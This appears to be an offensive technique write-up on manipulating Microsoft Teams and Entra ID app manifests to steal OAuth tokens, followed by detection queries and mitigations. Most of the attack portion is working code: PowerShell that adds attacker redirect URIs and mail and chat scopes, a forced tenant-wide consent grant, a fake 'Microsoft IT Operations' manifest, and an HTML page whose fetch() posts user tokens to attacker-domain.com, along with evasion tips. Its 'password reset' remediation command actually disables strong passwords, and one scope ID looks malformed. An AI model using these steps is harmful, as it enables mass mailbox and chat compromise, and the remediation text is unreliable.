| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-018 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Defense Evasion |
| Platforms | M365 (Microsoft Teams, Microsoft 365) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Teams Desktop Versions (Windows, macOS, Linux), Teams Web, Teams Mobile |
| Patched In | Ongoing Microsoft investigations; partial mitigations in Teams 2024 Q4+ |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Teams app manifests define how custom applications integrate with Teams, including authentication scopes, permissions, and API access. An attacker who gains access to Teams administrative controls or app registration configurations can manipulate manifest files to create malicious app integrations that intercept user credentials, steal session tokens, or establish unauthorized API access to Exchange Online, SharePoint, or Microsoft Graph. The manifest itself is JSON-formatted and stored in M365, defining critical authentication properties.
Attack Surface: The attack surface includes: (1) Teams app management portals accessible to Teams administrators and developers, (2) App registration manifests in Entra ID (Azure AD), (3) App permission grants and consent flows in Teams/Microsoft Graph, (4) Custom app upload functionality in Teams (if enabled), and (5) App configuration pages within Teams that authenticate users.
Business Impact: An attacker manipulating a Teams app manifest can intercept all OAuth tokens and credentials from users who interact with that app, potentially compromising entire mailboxes, SharePoint repositories, and sensitive project data. This attack enables persistent lateral movement across M365 tenants and can affect hundreds of users simultaneously if the malicious app is installed organization-wide.
Technical Context: Manifest manipulation typically takes 10-30 minutes to perform from initial app access, and the attack can persist for weeks or months if the malicious app remains undetected. Detection is challenging because the app appears legitimate and may mimic internal IT tools or productivity apps. The attack succeeds because Teams does not cryptographically sign manifest files, allowing modifications without immediate validation.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.1.2, 6.2.1 | CIS Microsoft 365 Foundations Benchmark: Ensure external app access is restricted; ensure that only approved apps are allowed to access organizational data. |
| DISA STIG | APP0140.1 | STIG ID: Control approval processes for third-party application integrations and restrict application access to sensitive APIs. |
| CISA SCuBA | M365-AT-1.1, M365-AT-1.2 | Secure Configuration Baseline: Manage app permissions; disable custom app uploads unless required. |
| NIST 800-53 | AC-3, AC-6, SI-4 | Access Enforcement, Least Privilege, Information System Monitoring. |
| GDPR | Art. 32 | Security of Processing – Implement technical measures to protect personal data from unauthorized access via compromised applications. |
| DORA | Art. 9 | Protection and Prevention – Implement application security controls and risk management procedures. |
| NIS2 | Art. 21 | Cyber Risk Management Measures – Prevent unauthorized modifications to critical information systems and manage third-party access risks. |
| ISO 27001 | A.6.2.1, A.9.2.3 | Control of Internal Resources; Management of Privileged Access Rights. |
| ISO 27005 | Risk Scenario: “Unauthorized modification of authentication mechanisms” | Risk Management: Identify and mitigate unauthorized changes to identity and access controls. |
Supported Versions:
Tools & Prerequisites:
# Check if user has Teams admin permissions
Get-MgContext
(Get-MgContext).Account
# List all Teams apps in the tenant
Get-MgAppCatalogTeamsApp
# Enumerate app registrations (requires Entra ID Admin role)
Get-MgApplication | Select-Object DisplayName, AppId, Identifiers
# Check app permissions granted
Get-MgApplication -ApplicationId "YOUR-APP-ID" | Select-Object DisplayName, Identifiers, ReplyUrls
# Check if sideloading of custom apps is enabled (Team-wide setting)
Get-TeamsMeetingConfiguration | Select-Object -Property *AllowCustomApps*
What to Look For:
Mail.ReadWrite, Chat.ReadWrite, ChannelMessage.ReadWrite).Version Note: Commands differ slightly between Teams desktop app versions and Teams web client; PowerShell access to Teams admin center is the primary method.
# Authenticate to Azure
az login
# List all app registrations in the tenant
az ad app list --all --query "[].{Name:displayName, AppId:appId}"
# Get detailed manifest information for a specific app
az ad app show --id "<APP-ID>" --query "requiredResourceAccess"
# Check current user's roles
az role assignment list --assignee "@me"
What to Look For:
https://graph.microsoft.com/.default).Supported Versions: All Entra ID versions (2020+)
Objective: Gain authenticated access to the Entra ID application registration portal where app manifests can be edited.
Command (Web Interface):
Expected Output:
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Modify the application manifest to add malicious OAuth scopes and redirect URIs that will capture user tokens.
Manual Steps (GUI):
replyUrls array. Add your attacker-controlled endpoint:
"replyUrls": [
"https://legitimate-microsoft-domain.com/callback",
"https://attacker-domain.com/callback" // NEW: Malicious endpoint
]
requiredResourceAccess. Add Microsoft Graph scopes for mail and chat interception:
"requiredResourceAccess": [
{
"resourceAppId": "00000003-0000-0000-c000-000000000000",
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", // Scope: User.Read
"type": "Scope"
},
{
"id": "64b35f36-aaf0-453f-955e-23a08cbb24f3", // Scope: Mail.ReadWrite
"type": "Scope"
},
{
"id": "339ff53d-9d0f-4b65-a59e-ad3a48da4f5b", // Scope: Chat.ReadWrite
"type": "Scope"
}
]
}
]
Expected Output:
What This Means:
OpSec & Evasion:
https://login-microsoft-office365.com/callback).Troubleshooting:
Objective: Ensure users grant (or are forced to grant) the new permissions so the app can access their tokens and mailboxes.
Manual Steps (GUI – Admin Consent):
Alternative: User Consent Flow (if admin consent unavailable):
https://login.microsoft.com/common/oauth2/v2.0/authorize?client_id=<ATTACKER-APP-ID>&scope=User.Read%20Mail.ReadWrite%20Chat.ReadWrite&response_type=code&redirect_uri=https://attacker-domain.com/callback
redirect_uri.Expected Output:
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Entra ID versions; requires Microsoft Graph PowerShell module v1.0+
Objective: Authenticate to Microsoft Graph API using a compromised admin account’s credentials.
Command:
# Install Microsoft Graph PowerShell module (if not already installed)
Install-Module Microsoft.Graph -Repository PSGallery -Force -AllowClobber
# Connect to Microsoft Graph with admin account
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"
# Verify authentication
Get-MgContext
Expected Output:
Account : admin@contoso.onmicrosoft.com
TenantId : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Environment : Global
AppName : Microsoft Graph Command Line Tool
AppId : 14d82eec-204b-4c2f-b36e-b2f878264b33
ContextScope : CurrentUser
What This Means:
OpSec & Evasion:
Clear-HistoryTroubleshooting:
Objective: Identify the target app and extract its current manifest for modification.
Command:
# List all app registrations in the tenant
$apps = Get-MgApplication -All
# Display apps with their AppIds (to identify target)
$apps | Select-Object DisplayName, AppId | Format-Table -AutoSize
# Select the target app (e.g., "Teams Admin Bot")
$targetApp = Get-MgApplication -Filter "displayName eq 'Teams Admin Bot'"
# Extract the current manifest
$manifest = $targetApp | Select-Object -ExpandProperty Web
Write-Host "Current Reply URLs: $($manifest.RedirectUris)"
Write-Host "Current Resource Access: $(ConvertTo-Json $targetApp.RequiredResourceAccess)"
Expected Output:
DisplayName AppId
----------------------------------- ------------------------------------
Teams Admin Bot a1b2c3d4-e5f6-7a8b-9c0d-e1f2a3b4c5d6
Compliance Scanner b2c3d4e5-f6a7-8b9c-0d1e-f2a3b4c5d6e7
Teams Meeting Bot c3d4e5f6-a7b8-9c0d-1e2f-a3b4c5d6e7f8
Current Reply URLs:
https://teams.microsoft.com/
https://localhost:3000/callback
Current Resource Access: [{"ResourceAppId":"00000003-0000-0000-c000-000000000000","ResourceAccess":[{"Id":"e1fe6dd8-ba31-4d61-89e7-88639da4683d","Type":"Scope"}]}]
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-MgApplication -All | Select-Object DisplayName to list all apps and find the exact name.Objective: Update the app manifest to include the attacker’s redirect URI and expand OAuth scope requests.
Command:
# Define the malicious redirect URI
$maliciousRedirectUri = "https://mail-sync-update.azurewebsites.net/callback"
# Add the malicious URI to existing reply URLs
$newReplyUris = @($manifest.RedirectUris + $maliciousRedirectUri)
# Define the Mail.ReadWrite and Chat.ReadWrite resource access
$resourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
$newRequiredResourceAccess = @{
ResourceAppId = $resourceAppId
ResourceAccess = @(
@{
Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d" # User.Read
Type = "Scope"
},
@{
Id = "64b35f36-aaf0-453f-955e-23a08cbb24f3" # Mail.ReadWrite
Type = "Scope"
},
@{
Id = "339ff53d-9d0f-4b65-a59e-ad3a48da4f5b" # Chat.ReadWrite
Type = "Scope"
},
@{
Id = "df01ed3b-eb73-4397-b9ba-44686bb5macb" # ChannelMessage.ReadWrite.All
Type = "Scope"
}
)
}
# Update the application with new manifest values
Update-MgApplication -ApplicationId $targetApp.Id `
-Web @{ RedirectUris = $newReplyUris } `
-RequiredResourceAccess $newRequiredResourceAccess
Write-Host "App manifest updated successfully!"
Expected Output:
App manifest updated successfully!
What This Means:
OpSec & Evasion:
mail-sync-update.azurewebsites.net instead of attacker.com).Troubleshooting:
Connect-MgGraph and verify the user is still an admin.Objective: Automatically grant admin consent for the new scopes, bypassing individual user consent prompts.
Command:
# Grant admin consent for all required resource access
$principalId = (Get-MgServicePrincipal -Filter "appId eq '$($targetApp.AppId)'").Id
# Create OAuth2PermissionGrant for Mail.ReadWrite
$consentParams = @{
ClientId = $principalId
ConsentType = "AllPrincipals"
ResourceId = (Get-MgServicePrincipal -Filter "displayName eq 'Microsoft Graph'").Id
Scope = "Mail.ReadWrite Chat.ReadWrite User.Read ChannelMessage.ReadWrite.All"
}
New-MgOAuth2PermissionGrant @consentParams
Write-Host "Admin consent granted for all scopes!"
Expected Output:
Admin consent granted for all scopes!
What This Means:
OpSec & Evasion:
ConsentType = "AllPrincipals" to avoid individual user prompts (stealthier).ConsentType = "Principal" with a specific PrincipalId to affect only targeted users.Troubleshooting:
New-MgOAuth2PermissionGrant with updated syntax; check Microsoft documentation.Supported Versions: Teams Desktop and Web clients that allow custom app sideloading (default enabled for developers; often disabled for end users).
Objective: Create a Teams app manifest that requests excessive permissions and redirects authentication to an attacker-controlled endpoint.
File: manifest.json
{
"$schema": "https://developer.microsoft.com/en-us/json-schemas/teams/v1.16/MicrosoftTeams.schema.json",
"manifestVersion": "1.16",
"version": "1.0.0",
"id": "12345678-1234-1234-1234-123456789012",
"name": {
"short": "Teams Admin Audit Tool",
"full": "Teams Administration & Audit Tool for Compliance"
},
"description": {
"short": "Audit and monitor Teams compliance configurations",
"full": "This tool helps IT administrators audit Teams settings, user activity, and compliance configurations for your organization."
},
"developer": {
"name": "Microsoft IT Operations",
"websiteUrl": "https://microsoft.com",
"privacyUrl": "https://microsoft.com/privacy",
"termsOfUseUrl": "https://microsoft.com/terms"
},
"icons": {
"color": "color.png",
"outline": "outline.png"
},
"accentColor": "#004578",
"permissions": [
"identity",
"messageTeamMembers"
],
"validDomains": [
"*.microsoft.com",
"teams.microsoft.com",
"attacker-domain.com"
],
"staticTabs": [
{
"entityId": "admin-tab",
"name": "Administration",
"contentUrl": "https://attacker-domain.com/admin.html",
"websiteUrl": "https://attacker-domain.com",
"scopes": [
"personal",
"team"
]
}
],
"authenticationProvider": {
"id": "aad",
"password": "YOUR-CLIENT-SECRET"
},
"webApplicationInfo": {
"id": "12345678-1234-1234-1234-123456789012",
"resource": "api://attacker-domain.com/12345678-1234-1234-1234-123456789012",
"applicationPermissions": [
"Mail.ReadWrite",
"Chat.ReadWrite",
"User.Read.All",
"Directory.Read.All"
]
}
}
What This Means:
contentUrl points to the attacker’s domain, where the actual credential theft occurs.webApplicationInfo.applicationPermissions request Graph API access.OpSec & Evasion:
admin.html page on a SSL-secured domain (reduces browser warnings).Objective: Create a ZIP file containing the manifest and supporting files, then upload it as a custom Teams app.
Command (Bash / Windows PowerShell):
# Create a directory structure for the app
mkdir -p teams-admin-app/images
# Copy manifest
cp manifest.json teams-admin-app/
# Create placeholder icons
printf '\x89PNG\r\n\x1a\n' > teams-admin-app/images/color.png
printf '\x89PNG\r\n\x1a\n' > teams-admin-app/images/outline.png
# Create the malicious HTML file (token interception)
cat > teams-admin-app/admin.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
<title>Teams Administration Tool</title>
<script src="https://statics.teams.cdn.office.net/sdk/v1.10.0/js/microsoft.teams.min.js"></script>
</head>
<body>
<h1>Loading Teams Administration Tool...</h1>
<div id="loading">Initializing...</div>
<script>
// Initialize Teams SDK
microsoftTeams.initialize();
// Get authentication token (this contains user's access token)
microsoftTeams.authentication.getAuthToken({
silent: false,
successCallback: (token) => {
// Send the token to attacker's backend
fetch('https://attacker-domain.com/api/token', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ token: token, user: microsoftTeams.getContext().userPrincipalName })
})
.then(r => r.json())
.then(data => {
// Redirect to legitimate Teams admin center to avoid suspicion
window.location.href = 'https://admin.teams.microsoft.com';
});
},
failureCallback: (error) => {
document.getElementById('loading').innerHTML = 'Error initializing tool. Please try again.';
}
});
</script>
</body>
</html>
EOF
# Create ZIP file
cd teams-admin-app
zip -r ../teams-admin-app.zip .
cd ..
# Extract the app ID from manifest for reference
APP_ID=$(grep -o '"id": "[^"]*"' teams-admin-app/manifest.json | head -1 | cut -d'"' -f4)
echo "App ready for upload. ID: $APP_ID"
Expected Output:
App ready for upload. ID: 12345678-1234-1234-1234-123456789012
Manual Upload (GUI):
teams-admin-app.zip fileAlternative: Upload via Teams Admin Center (for org-wide distribution):
What This Means:
OpSec & Evasion:
Troubleshooting:
Version: 2.0+ Supported Platforms: Windows, macOS, Linux (with PowerShell 7+)
Installation:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Usage (Example: List all app registrations):
Connect-MgGraph -Scopes "Application.Read.All"
Get-MgApplication -All | Select-Object DisplayName, AppId
Version: Web-based; no installation required Supported Platforms: All browsers (Edge, Chrome, Firefox, Safari)
Usage: Navigate to Teams apps → Manage apps → Upload a custom app or Edit manifest
Version: Web-based; no installation required Supported Platforms: All modern browsers
Usage: Navigate to Azure Portal → Entra ID → App registrations → Select app → Manifest
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Update application" or OperationName == "Update application - Certificates and secrets"
| where Result == "Success"
| extend ModifiedProperties = TargetResources[0].modifiedProperties
| extend AppId = tostring(TargetResources[0].id)
| where ModifiedProperties contains "requiredResourceAccess" or ModifiedProperties contains "replyUrls"
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), AppName=TargetResources[0].displayName, ModifiedProperties, ResultDescription
| summarize Count=count() by AppName, InitiatedBy, TimeGenerated
| where Count >= 1
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious App Manifest ModificationHigh5 minutes1 hourInitiatedBy, AppNameFalse Positive Analysis:
| where InitiatedBy !in ("app-provisioner@contoso.com", "sync-svc@contoso.com")Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Grant permission" or OperationName == "Consent to application"
| where Result == "Success"
| extend AppName = TargetResources[0].displayName
| extend Permission = TargetResources[0].modifiedProperties[0].newValue
| where Permission contains "Mail.ReadWrite" or Permission contains "Chat.ReadWrite" or Permission contains "ChannelMessage.ReadWrite"
| project TimeGenerated, AppName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), Permission, ResourceId=TargetResources[0].id
| summarize GrantCount=count(), PermissionsList=make_set(Permission) by AppName, InitiatedBy, TimeGenerated
| where GrantCount >= 1
What This Detects:
Manual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Unauthorized App Consent Grants" `
-Query @'
AuditLogs
| where OperationName == "Grant permission" or OperationName == "Consent to application"
| where Result == "Success"
| extend AppName = TargetResources[0].displayName
| extend Permission = TargetResources[0].modifiedProperties[0].newValue
| where Permission contains "Mail.ReadWrite" or Permission contains "Chat.ReadWrite" or Permission contains "ChannelMessage.ReadWrite"
| project TimeGenerated, AppName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), Permission
'@ `
-Severity "Critical" `
-Enabled $true
Alert Name: “Suspicious API permission grant to application”
Manual Configuration Steps (Enable Defender for Cloud):
Recommended Response:
Operation: “Update application”, “Grant permission”, “Add app role assignment grant”
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Update application", "Grant permission" `
-ResultSize 5000 | Export-Csv -Path "C:\Logs\AppManifestChanges.csv"
Details to Analyze:
Manual Configuration Steps (Enable Unified Audit Log):
Restrict App Permissions: Disable automatic admin consent for applications. Require explicit approval workflows before granting applications Mail.ReadWrite, Chat.ReadWrite, or Directory.Read.All permissions.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Disable user consent for apps
Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{
PermissionGrantPoliciesAssigned = @('microsoft-user-default-low')
}
Disable Custom App Sideloading: Prevent users from uploading custom Teams apps, reducing the attack surface.
Manual Steps (Teams Admin Center):
Manual Steps (PowerShell):
# Disable sideloading for all users
Set-CsTeamsAppSetupPolicy -Identity Global -AllowSideLoadingOfExternalApps $false
Implement Conditional Access Policies: Restrict app registration and modification activities to trusted locations and devices.
Manual Steps (Azure Portal - Conditional Access):
Restrict App Registration ModificationsEnable Audit Logging for App Registrations: Ensure all app manifest changes are logged and monitored.
Manual Steps (Entra ID):
Review and Audit Existing App Registrations: Regularly review all registered applications to identify suspicious or unauthorized apps.
Manual Steps (PowerShell):
# Export all apps with their permissions
Get-MgApplication -All | ForEach-Object {
$app = $_
$perms = $app.RequiredResourceAccess | Select-Object -ExpandProperty ResourceAccess
[PSCustomObject]@{
AppName = $app.DisplayName
AppId = $app.AppId
CreatedDateTime = $app.CreatedDateTime
Permissions = ($perms.Id -join '; ')
ReplyUrls = ($app.Web.RedirectUris -join '; ')
}
} | Export-Csv -Path "C:\Apps_Inventory.csv"
Implement Zero Trust Principle: Require MFA for all app access and implement token binding to prevent token theft.
Manual Steps (Entra ID - Token Binding):
# Check if admin consent is disabled
Get-MgPolicyAuthorizationPolicy | Select-Object DefaultUserRolePermissions
# Check if sideloading is disabled
Get-CsTeamsAppSetupPolicy -Identity Global | Select-Object AllowSideLoadingOfExternalApps
# List all apps with Mail or Chat permissions
Get-MgApplication -All | Where-Object {
$_.RequiredResourceAccess.ResourceAccess.Id -contains '64b35f36-aaf0-453f-955e-23a08cbb24f3' -or `
$_.RequiredResourceAccess.ResourceAccess.Id -contains '339ff53d-9d0f-4b65-a59e-ad3a48da4f5b'
} | Select-Object DisplayName, AppId
Expected Output (If Secure):
DefaultUserRolePermissions: PermissionGrantPoliciesAssigned: {microsoft-user-default-low}
AllowSideLoadingOfExternalApps: False
DisplayName: (no results - no apps have Mail/Chat permissions)
What to Look For:
DefaultUserRolePermissions should restrict user consent.AllowSideLoadingOfExternalApps should be False.Files:
%AppData%\Microsoft\Teams\.Registry:
HKEY_CURRENT_USER\Software\Microsoft\Office\Teams\Cache\Network:
msedgewebview2.exe (embedded browser in Teams) to external domains during authentication.validDomains.Azure / M365:
Disk:
C:\Users\<Username>\AppData\Local\Packages\MSTeams_<SID>\LocalCache\manifest.json files in Teams local storage.C:\Users\<Username>\AppData\Local\<Browser>\Cache\Cloud/Logs:
GetAccessToken events).Memory:
ms-teams.exe) may retain decrypted tokens in memory (use WinDbg or Volatility to analyze).Isolate:
Command (Disable the malicious app):
# Disable the app registration (prevent further authentication)
Update-MgApplication -ApplicationId "<APP-ID>" -AccountEnabled $false
# Revoke all active refresh tokens for the app
Revoke-MgApplicationSignOutSession -ApplicationId "<APP-ID>"
Manual (Azure Portal):
Collect Evidence:
Command:
# Export all app registrations (for forensics)
Get-MgApplication -All | Export-Clixml -Path "C:\Evidence\Apps_$(Get-Date -Format yyyy-MM-dd).xml"
# Export audit logs related to the app
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -FilterCausedBy "<MALICIOUS-APP-ID>" -ResultSize 10000 | Export-Csv -Path "C:\Evidence\AuditLogs.csv"
Remediate:
Command:
# Force password reset for users who interacted with the app
Get-MgUser -Filter "mail eq 'user@contoso.com'" | Update-MgUser -PasswordPolicies "DisablePasswordExpiration, DisableStrongPassword"
# OR: Revoke all sessions for affected users
Revoke-MgUserSignOutSession -UserId "user@contoso.com"
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-003] Logic App HTTP trigger abuse | Attacker gains initial access to M365 environment via compromised Logic App. |
| 2 | Credential Access | [CA-TOKEN-004] Graph API token theft | Attacker steals a high-privileged service principal token. |
| 3 | Lateral Movement | [LM-AUTH-018] | Attacker manipulates Teams app manifest to create token interception mechanism. |
| 4 | Persistence | [PERSIST-ACCT-005] Graph API Application Persistence | Attacker creates additional app registrations to maintain persistent access. |
| 5 | Impact | [CA-TOKEN-001] to [CA-TOKEN-011] Token Theft & M365 Compromise | Attacker exfiltrates emails, Teams messages, and SharePoint data via stolen tokens. |
Teams app manifest manipulation is a highly effective and stealthy attack vector for lateral movement within M365 environments. By modifying app permissions and redirect URIs, attackers can capture user tokens and bypass traditional authentication controls. Organizations must implement robust app permission controls, regular app audits, and continuous monitoring to detect and respond to these attacks.